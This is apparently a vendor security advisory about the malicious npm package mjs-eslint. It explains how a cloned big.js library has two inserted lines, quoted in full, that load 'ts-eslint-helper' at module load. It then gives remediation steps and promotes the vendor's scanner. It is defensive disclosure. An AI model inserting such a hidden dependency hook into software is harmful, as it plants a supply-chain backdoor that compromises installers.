mjs-eslintnpm
mjs-eslint is a confirmed malicious npm package (MAL-2026-6223) that executes malicious code on install (malicious versions 7.0.5, 7.0.6, 7.0.7). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in mjs-eslint (npm)
What this malware does
The package is published as 'mjs-eslint' but its description, file layout (big.js, big.mjs), and source are a verbatim copy of the legitimate big.js arbitrary-precision arithmetic library by Michael Mclaughlin. Two lines have been inserted into the IIFE at big.js:605-606 (and identically in big.mjs:605-606): const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. The corresponding dependency "ts-eslint-helper": "^4.0.1" is declared in package.json. This call fires at module load on any require('mjs-eslint') or import of the package, executes asynchronously, and silently swallows all errors via .catch(()=>{}). An arithmetic library has no legitimate reason to load a 'ts-eslint' helper at module init, and the name mismatch between the host package (mjs-eslint), the cloned library (big.js), and the dependency (ts-eslint-helper) is the canonical pattern of hiding the payload one hop away in a transitive dependency to evade scanners. Installer harm: any consumer who requires this package pulls in and executes whatever ts-eslint-helper's from_str() contains, with no visible signal.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for mjs-eslint (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging mjs-eslint across your stack and pipelines.
If you installed it — respond
Remove mjs-eslint from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If mjs-eslint was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks mjs-eslint before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks mjs-eslint-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.